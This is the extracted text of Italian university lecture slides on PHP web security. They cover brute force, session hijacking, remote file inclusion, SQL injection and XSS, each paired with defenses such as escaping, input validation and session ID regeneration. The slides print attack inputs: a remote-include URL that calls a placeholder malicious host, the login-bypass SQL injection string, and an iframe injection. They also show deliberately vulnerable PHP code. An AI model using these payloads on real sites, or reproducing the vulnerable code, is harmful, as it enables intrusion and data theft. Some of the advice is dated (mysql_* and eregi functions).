Difese: applicazioni sicure, validazione input

MODULO 1
PARTE 3
Programmazione (scripting)
server-side con PHP
3.e
Cenni alla sicurezza di
applicazioni web (PHP)
Goy - a.a. 2009/2010
Programmazione Web
1
La sicurezza sul web: introduzione - I
Intrusioni
• Intrusione = accesso non previsto ad un programma, con
lo scopo di prelevare dati nascosti o modificare il
funzionamento dell'applicazione; es: furto di dati
personali (documenti, credenziali per l'accesso, contatti e
dati anagrafici) custoditi all'interno di database non
protetti a sufficienza
• Per ridurre la possibilità di intrusioni bisogna “mettere in
sicurezza” l’applicazione → per implementare
un’applicazione web sicura sono necessari tempo ed
energie, che spesso vengono invece spesi solo quando si
presentano i problemi…
• La messa in sicurezza di un’applicazione dovrebbe invece
seguire di pari passo la progettazione, per evitare di dover
inserire successivamente costose e meno funzionali patch
Goy - a.a. 2009/2010
Programmazione Web
2
1
La sicurezza sul web: introduzione - II
Esistono diversi modi per attaccare un'applicazione web:
1. Autenticazione
2. Autorizzazione
3 Attacchi lato client
3.
4. Iniezioni di codice
5. Ricerca dei contenuti
6. Attacchi logici
Accenniamo solo ad alcuni esempi che si basano su
meccanismi visti
isti nel corso…
corso
Goy - a.a. 2009/2010
Programmazione Web
3
Attacchi: autenticazione
• Autenticazione = processo tramite il quale un programma
verifica le credenziali di un computer/programma/utente
• Intrusioni per ottenere i dati di accesso (credenziali):
– Brute fforce: pprocesso automatico per
p tentativi ed errori che,
tramite la generazione casuale di stringhe o l'utilizzo di appositi
dizionari, effettua reiterati tentativi per indovinare dati come
username, password, numero di carte di credito, …
– Autenticazione insufficiente: vulnerabilità che dipende da una
cattiva progettazione della sicurezza del sito, per es.
un’applicazione web che, implementa un'area riservata inserendola
in una cartella o in un file non linkato nella home, accessibile solo
chi ne conoscono il percorso, senza altre protezioni
– Sistema debole per il recupero e validazione della password:
esempio di recupero password non sicuro = a chi dimentica la
password vengono richiesti alcuni dati personali inseriti in fase di
registrazione (email, domicilio, numero di telefono, …); ricavare
queste informazioni risulterà facile per coloro che conoscono la
vittima che intendono colpire
Goy - a.a. 2009/2010
Programmazione Web
4
2
Attacchi: autorizzazione
• Autorizzazione = metodo con cui vengono controllate le
credenziali di un utente/applicazione e stabilite le possibilità
di accesso a certe operazioni (verifica dei “privilegi”)
• Intrusioni per falsificare i propri privilegi:
– Session hijacking: “dirottamento della sessione”, consiste nel
ricavare l'ID di sessione che individua uno degli utenti collegati in
quel momento e sfruttare le sue credenziali per accedere a dati o a
sezioni riservate
– Autorizzazione insufficiente: vulnerabilità che dipende da una
cattiva progettazione della sicurezza del sito, per es.
un’applicazione web che permette l'accesso a documenti riservati a
chiunque
q ne conosca il ppercorso,, senza imporre
p
le dovute restrizioni
– Terminazione della sessione insufficiente: questa vulnerabilità si
presenta quando il sito permette all'utente di riutilizzare un vecchio
session ID anche dopo diverso tempo, per evitargli di ripetere
frequentemente il login (questo fa sì che un malintenzionato abbia
più tempo a disposizione per tentare un furto di un session ID)
Goy - a.a. 2009/2010
Programmazione Web
5
Attacchi: iniezioni di dati/codice - I
• Iniezioni di codice = inserimento di codice che esegue
operazioni anomale non previste dall'autore; generalmente
usa le variabili GET o POST del linguaggio server-side
• Iniezioni PHP - Esempi
– U
Uso iincauto
t di GET e include
i l d
L’URL di connessione alla pagina esempio.php contiene il
parametro include_script, il cui valore è il percorso del file che
contiene lo script da inserire all'interno del codice:
http://sito_esempio/esempio.php?include_script=previsto.php
All’interno di esempio.php:
<? include ($_GET["include_script"]); ?>
senza alcun controllo sul valore di $_GET["
[ include_script
p "]],
rendendo possibile inoculare lo script malevolo.php residente sul
sito sito_malevolo.com all'interno della variabile
$_GET["include_script"] connettendosi a:
http://sito_esempio/esempio.php?include_script=
http%3A%2F%2Fsito_malevolo.com%3Amalevolo.php
[%3A = / e %2F = :]
Goy - a.a. 2009/2010
Programmazione Web
6
3
Attacchi: iniezioni di dati/codice - II
• Iniezioni SQL - Esempi
– Uso incauto di POST
Goy - a.a. 2009/2010
Programmazione Web
7
Attacchi: iniezioni di dati/codice - III
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM dati_utenti WHERE
username = '".$username."' AND password = '".$password."'";
$data = mysql_query ($query) or die...
while ($aux = mysql_fetch_array($data)) {
print "<br>Username:
<br>Username: ".$aux[
$aux['username'];
username ];
print "<br>Password: ".$aux['password'];
print "<br>Nome: ".$aux['nome'];
print "<br>Cognome: ".$aux['cognome'];
print "<br>N°carta credito: ".$aux['n_carta_credito'];
print "<br>Scadenza: ".$aux['scadenza'];
}
Inserendo dati come questi nella form di login:
sempre vero!
(''='' è sempre
p true))
username: ' OR ' ' = '
password: ' OR ' ' = '
viene generata la seguente query:
$query = "SELECT * FROM dati_utenti WHERE username = '' OR '' = ''
AND password = '' OR '' = ''" ;
e l'utente malintenzionato può stamparsi sul proprio browser tutto il
contenuto del database!
Goy - a.a. 2009/2010
Programmazione Web
8
4
Difese: test audiovisivi
• Contro gi strumenti di analisi automatica (= programmi
per la ricerca automatica di vulnerabilità del sistema; usati sia per
intrusione, sia per la ricerca preventiva di possibili falle di sicurezza)
Esistono diverse possibili azioni preventive; qui ne citiamo
solo una a titolo esemplificativo: i CAPTCHA (Completely
Automated Public Turing test to tell Computers and Humans Apart),
basato sull’idea del test di Turing (porre domande che
permettano di capire se l’interlocutore è un umano o una macchina)
La forma più comune di CAPTCHA è visiva: vengono
mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR
(Optical Character Recognition: programmi dedicati al
riconoscimento di un'immagine contenente testo)
Goy - a.a. 2009/2010
Programmazione Web
9
Difese: applicazioni sicure, validazione input - I
• Progettazione di applicazioni sicure: accenniamo solo ad
alcune delle tecniche più semplici, a titolo di esempio…
– Validazione input
Uno dei punti più deboli di un'applicazione web è l’elaborazione
dei dati forniti dall
dall’utente
utente in input (per es
es. nei form) → effettuare
dei controlli sulle stringhe in input è una questione cruciale
♦Premesse:
ƒ La verifica va effettuata sul server
ƒ Nelle impostazioni di php.ini:
– la direttiva register_globals, se attivata, assegna
provenienti da GET, POST, cookies,
automaticamente i dati p
ecc. a variabili aventi lo stesso nome; per es:
$_POST["username"] = "admin" → automaticamente
assegnato a → $username
NB nell’installazione di default di XAMPP
register_globals è off
Goy - a.a. 2009/2010
Programmazione Web
10
5
Difese: applicazioni sicure, validazione input - II
– la direttiva variables_order specifica l'ordine di priorità dei
parametri aventi lo stesso nome
Il default generalmente (e anche in XAMPP) è EGPCS, cioè:
system Environment > GET > POST > Cookie > Server environment
Per esempio,
P
i se abbiamo
bbi
il nome ddell’utente
ll’ t t in:
i
$_GET["username"]="pippo“
$_POST["username"]="amministratore"
$_COOKIE["username"]="moderatore"
Se variables_order = EGPCS
⇒ $username="moderatore" (valore del cookie)
Se variables_order
variables order = SCPGE,
SCPGE in presenza di due variabili
omonime provenienti dal Server enviroment e da GET, verrà
assegnato il contenuto di quest'ultima!
Goy - a.a. 2009/2010
Programmazione Web
11
Difese: applicazioni sicure, validazione input - III
ƒ
Giocano spesso un ruolo determinante le variabili non
inizializzate; per es:
auth = false;
if (utente_autorizzato()){
$auth = true;
}
if ($auth) {
//stampa del contenuto delle pagine riservate
}
inserendo all'interno dell'URL della pagina (parametro
GET) il valore auth=true è possibile bypassare il
controllo della funzione utente_autorizzato!
Goy - a.a. 2009/2010
Programmazione Web
12
6
Difese: applicazioni sicure, validazione input - IV
♦Difese:
ƒ Disattivare la direttiva register_globals
ƒ Utilizzare delle costanti al posto delle variabili → le
costanti richiedono l'uso della funzione define per essere
create non possono essere modificate e non possono
create,
essere passate via GET o POST!:
(utente_autorizzato()) ?
define("AUTH", true) : define("AUTH", false)
if (AUTH) {
//stampa del contenuto delle pagine riservate
} operatore ternario:
(condizione) ? azione1 : azione2
se la condizione è vera, esegue l’azione1, altrimenti l’azione2
la funzione define ha due parametri: nome e valore; definisce
una costante nome e gli assegna valore
⇒ l’istruzione assegna un valore alla costante AUTH, in base
all'esito della funzione utente_autorizzato
Goy - a.a. 2009/2010
Programmazione Web
13
Difese: applicazioni sicure, validazione input - V
ƒ
Usare tecniche di validazione degli input
– Numeri: la funzione is_numeric(n) controlla che n sia un
numero
– Stringhe: validare le stringhe ricevute in input dall'utente è
una questione molto più complessa…
complessa
Esistono due modi principali:
(a) filtrare l'inserimento di specifiche sequenze di caratteri,
come i tag HTML, eliminando o ri-codificando le parti
della stringa potenzialmente dannose (+ permissivo)
(b) accettare solo input che rispettino specifiche regole di
formattazione ((+ restrittivo))
Goy - a.a. 2009/2010
Programmazione Web
14
7
Difese: applicazioni sicure, validazione input - VI
(a)
Caso I: apici singoli (') e doppi (")
Possibile difesa: funzioni di escape
Escape = anteposizione di un carattere di escape, generalmente
il backslash (\), ad alcuni caratteri che hanno significati
particolari (per esempio gli apici); la presenza del carattere di
escape comunica all’interprete di non interpretare ciò che segue
Esempi di funzioni di escape in PHP:
o mysql_real_escape_string(s): ripulisce la stringa in input s
dai caratteri potenzialmente dannosi in SQL, anteponendo un
backslash davanti ai caratteri \x00, \n, \r, \, ', ", \x1a
o addslashes(s): analoga alla precedente, ma effettua
unicamente l'escape di apici doppi e singoli
Goy - a.a. 2009/2010
Programmazione Web
15
Difese: applicazioni sicure, validazione input - VII
Per esempio, se username → ' OR ' ' = ' e password → ' OR ' ' = '
Se $username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM dati_utenti WHERE
username = $username AND password = $password
$password";
;
⇒ query risultante senza funzione di escape:
SELECT * FROM dati_utenti WHERE
username = '' OR '' = '' AND password = '' OR '' = ''
sempre true!
sempre true!
true ⇒ estrae tutta la tabella!!!
Se $username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST[
mysql real escape string($ POST['password']);
password ]);
⇒ query risultante con funzione di escape:
SELECT * FROM dati_utenti WHERE
username = \'\' OR \'\' = \'\' AND
password = \'\' OR \'\' = \'\'
Goy - a.a. 2009/2010
Programmazione Web
non estrae nulla…
16
8
Difese: applicazioni sicure, validazione input - VIII
Caso II: stampe di feedback di quanto inserito dall'utente
Possibile difesa: impedire che il codice ricevuto tramite una
GET venga interpretato e integrato all'interno della pagina
utililzzando le seguenti funzioni PHP :
o strip_tags(s)
( ) → elimina
li i i tag PHP e HTML della
d ll stringa
i
in
i
input s
o htmlspecialchars(s) → trasforma i caratteri speciali
secondo la sintassi HTML (es: < diventa < ecc…)
Goy - a.a. 2009/2010
Programmazione Web
17
Difese: applicazioni sicure, validazione input - IX
Per esempio:
$_GET['username']: "Giorgio <iframe
src="http://www.sito_malevolo.com"></iframe>";
⇒ output senza controlli:
print
i
"Benvenuto, ".$_GET['username'];
$
[
]
→ sulla pagina:
Benvenuto, Giorgio [segue iframe "interpretato" → eseguito!]
⇒ con eliminazione del codice HTML tramite strip_tags:
print "Benvenuto, ".strip_tags($_GET['username']);
→ sulla pagina (i tag iframe spariscono!):
Benvenuto, Giorgio
⇒ con conversione del codice HTML in caratteri speciali
tramite htmlspecialchars:
print "Benvenuto, ".htmlspecialchars($_GET['username']);
→ sulla pagina:
Benvenuto, Giorgio <iframe...></iframe>
Goy - a.a. 2009/2010
Programmazione Web
18
9
Difese: applicazioni sicure, validazione input - X
(b)
Caso I: possiamo definire delle regole di formattazione per
l’input, attraverso l’uso di espressioni regolari
Espressioni regolari(*) = pattern (template, modelli) di stringhe;
es: espressione regolare per controllare l’email:
$
$pattern='[_a-z0-9-]+
(\.[_a-z0-9-]+)*
\
@[a-z0-9-]+ (\.[a-z0-9]{2,})';
espressione formata da almeno
una occorrenza (+) di caratteri
alfanumerici più – e _
il simbolo @ seguito da un'espressione
contenente caratteri alfanumerici più –
un punto seguito da un'espressione
formata da zero o più occorrenze (*)
di caratteri alfanumerici più – e _
un punto seguito da almeno due
occorrenze di caratteri alfanumerici
if (eregi($pattern
(eregi($pattern, $_POST['email']))
$ POST['email'])) {
//email valida }
la funzione eregi (p, s) controlla che
else {
la stringa s rispetti il pattern p
//email non valida }
(NB non è case-sensitive; ereg lo è)
(*)
M.E. Davis & J.A. Phillips, Programmare in PHP e MySQL, HOPS
Tecniche Nuove/O'Reilly, 2008, pp. 330-332
Goy - a.a. 2009/2010
Programmazione Web
19
Difese: applicazioni sicure, validazione input - XI
Caso II: controllare la lunghezza delle stringhe in input
Per esempio:
$pag = $_GET['pag'];
if ( strlen($pag) <= 3 && is_numeric($pag)) {
//ok...
//
strlen(s) restituisce
i i
la
l lunghezza
l
h
(int)
( ) della
d ll stringa
i
s
} else {
print "dati inseriti non validi";
}
Caso III: whitelist → controllare i dati provenienti da caselle di
scelta multipla (checkbox, radio button)
Per esempio:
$valore_inviato = $_POST['mese'];
$valori ammessi = array(
$valori_ammessi
array("gen"
gen ,"feb"
feb ,"mar"
mar ,...);
);
if (! in_array($valore_inviato, $valori_ammessi)) {
print "valore inserito non ammesso";
}
in_array(e,a) restituisce true se l’elemento e
else {
//ok... è presente nell’array a, false atrimenti
}
Goy - a.a. 2009/2010
Programmazione Web
20
10
Difese: applicazioni sicure, sessione - I
– Sicurezza della sessione
ƒ
La misura di sicurezza più semplice = utilizzare i cookies
come unico mezzo di trasporto del session ID, inibendo l’URL
rewriting (rendendo così il session hijacking molto più
)
difficile da realizzare):
nelle impostazioni di php.ini → session.use_only_cookie = 1
NB: si può usare la funzione ini_set per impostare
temporaneamente session.use_only_cookie a 1
ini_set("session.use_only_cookies", 1);
session_start(); ...
Goy - a.a. 2009/2010
Programmazione Web
21
Difese: applicazioni sicure, sessione - II
ƒ
ƒ
Una soluzione più efficace contro il session hijacking è la
rinegoziazione del session ID ogni volta che viene
inizializzata una sessione (session regeneration):
→ la funzione session_regenerate_id() genera un nuovo
session ID (random) non prevedibile
prevedibile, ri
ri-creando
creando il cookie che
ne contiene il valore
Rotazione del session ID: simile alla session regeneration
ma la generazione del nuovo session ID avviene ad ogni
richiesta effettuata dall'utente
E’ una soluzione molto sicura, ma presenta alcuni problemi:
− crea problemi con versioni PHP antecedenti alla 5.1
− impedisce il funzionamento del tasto back del browser (il back
effettua una richiesta con un session ID non più valido in quanto
rinegoziato)
− impedisce il funzionamento corretto di memoria cache o di
proxy
Goy - a.a. 2009/2010
Programmazione Web
22
11
La sicurezza sul web: conclusioni
• La maggioranza dei problemi di sicurezza delle
applicazioni web è legata alla validazione degli input:
impedire che quanto inserito dall'utente possa contenere
stringhe dannose significa già aver reso un sito più sicuro
• Non si tratta di un'operazione semplice: si deve cercare un
compromesso tra le funzionalità dell'applicazione (che
rischiano di venire compromesse da controlli troppo
restrittivi) e la sua usabilità da un lato e la messa in
sicurezza dall’altro (ricordarsi che gli utenti sono pigri! e
spesso non vogliono dover risolvere un CAPTCHA ad ogni
accesso )
accesso…)
• Ricordarsi che le scelte di messa in sicurezza dipendono
dal tipo di applicazione e di dati trattati!
Goy - a.a. 2009/2010
Programmazione Web
23
12